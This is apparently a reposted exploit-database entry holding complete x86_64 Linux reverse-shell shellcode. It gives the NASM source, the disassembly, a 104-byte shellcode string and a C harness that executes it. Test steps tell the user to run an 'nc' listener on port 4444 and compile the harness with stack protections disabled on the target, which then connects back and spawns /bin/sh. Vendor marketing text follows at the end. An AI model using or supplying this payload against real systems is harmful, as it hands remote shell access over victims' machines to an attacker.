/*
;Category: Shellcode
;Title: GNU/Linux x86_64 - Reverse Shell Shellcode
;Author: m4n3dw0lf
;Github: https://github.com/m4n3dw0lf
;Date: 18/07/2017
;Architecture: Linux x86_64
;Tested on: #1 SMP Debian 4.9.18-1 (2017-03-30) x86_64 GNU/Linux
##########
# Source #
##########
section .text
global _start
_start:
push rbp
mov rbp,rsp
xor rdx, rdx
push 1
pop rsi
push 2
pop rdi
push 41
pop rax ; sys_socket
syscall
sub rsp, 8
mov dword [rsp], 0x5c110002 ; Port 4444, 4Bytes: 0xPORT + Fill with '0's + 2
mov dword [rsp+4], 0x801a8c0 ; IP Address 192.168.1.8, 4Bytes: 0xIPAddress (Little Endiannes)
lea rsi, [rsp]
add rsp, 8
pop rbx
xor rbx, rbx
push 16
pop rdx
push 3
pop rdi
push 42
pop rax; sys_connect
syscall
xor rsi, rsi
shell_loop:
mov al, 33
syscall
inc rsi
cmp rsi, 2
jle shell_loop
xor rax, rax
xor rsi, rsi
mov rdi, 0x68732f6e69622f2f
push rsi
push rdi
mov rdi, rsp
xor rdx, rdx
mov al, 59
syscall
#################################
# Compile and execute with NASM #
#################################
nasm -f elf64 reverse_tcp_shell.s -o reverse_tcp_shell.o
ld reverse_tcp_shell.o -o reverse_tcp_shell
#########################
# objdump --disassemble #
#########################
reverse_tcp_shell: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 55 push %rbp
400081: 48 89 e5 mov %rsp,%rbp
400084: 48 31 d2 xor %rdx,%rdx
400087: 6a 01 pushq $0x1
400089: 5e pop %rsi
40008a: 6a 02 pushq $0x2
40008c: 5f pop %rdi
40008d: 6a 29 pushq $0x29
40008f: 58 pop %rax
400090: 0f 05 syscall
400092: 48 83 ec 08 sub $0x8,%rsp
400096: c7 04 24 02 00 11 5c movl $0x5c110002,(%rsp)
40009d: c7 44 24 04 c0 a8 01 movl $0x801a8c0,0x4(%rsp)
4000a4: 08
4000a5: 48 8d 34 24 lea (%rsp),%rsi
4000a9: 48 83 c4 08 add $0x8,%rsp
4000ad: 5b pop %rbx
4000ae: 48 31 db xor %rbx,%rbx
4000b1: 6a 10 pushq $0x10
4000b3: 5a pop %rdx
4000b4: 6a 03 pushq $0x3
4000b6: 5f pop %rdi
4000b7: 6a 2a pushq $0x2a
4000b9: 58 pop %rax
4000ba: 0f 05 syscall
4000bc: 48 31 f6 xor %rsi,%rsi
00000000004000bf <shell_loop>:
4000bf: b0 21 mov $0x21,%al
4000c1: 0f 05 syscall
4000c3: 48 ff c6 inc %rsi
4000c6: 48 83 fe 02 cmp $0x2,%rsi
4000ca: 7e f3 jle 4000bf <shell_loop>
4000cc: 48 31 c0 xor %rax,%rax
4000cf: 48 31 f6 xor %rsi,%rsi
4000d2: 48 bf 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rdi
4000d9: 2f 73 68
4000dc: 56 push %rsi
4000dd: 57 push %rdi
4000de: 48 89 e7 mov %rsp,%rdi
4000e1: 48 31 d2 xor %rdx,%rdx
4000e4: b0 3b mov $0x3b,%al
4000e6: 0f 05 syscall
#######################
# 104 Bytes Shellcode #
#######################
for i in `objdump -d reverse_tcp_shell | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
\x55\x48\x89\xe5\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x83\xec\x08\xc7\x04\x24\x02\x00\x11\x5c\xc7\x44\x24\x04\xc0\xa8\x01\x08\x48\x8d\x34\x24\x48\x83\xc4\x08\x5b\x48\x31\xdb\x6a\x10\x5a\x6a\x03\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\x31\xf6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05
########
# Test #
########
In the asm source:
mov dword [rsp+4], 0x801a8c0 <IP Address (Little Endian) of the host that will receive the shell>
In the host that will receive the shell run:
nc -vvlp 4444
On the target machine:
compile with:
gcc -fno-stack-protector -z execstack reverse_tcp_shell.c -o reverse_tcp_shell
run:
./reverse_tcp_shell
<!> gcc -fno-stack-protector -z execstack reverse_tcp_shell.c -o reverse_tcp_shell
*/
#include <stdio.h>
unsigned char shellcode[] = "\x55\x48\x89\xe5\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x83\xec\x08\xc7\x04\x24\x02\x00\x11\x5c\xc7\x44\x24\x04\xc0\xa8\x01\x08\x48\x8d\x34\x24\x48\x83\xc4\x08\x5b\x48\x31\xdb\x6a\x10\x5a\x6a\x03\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\x31\xf6\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation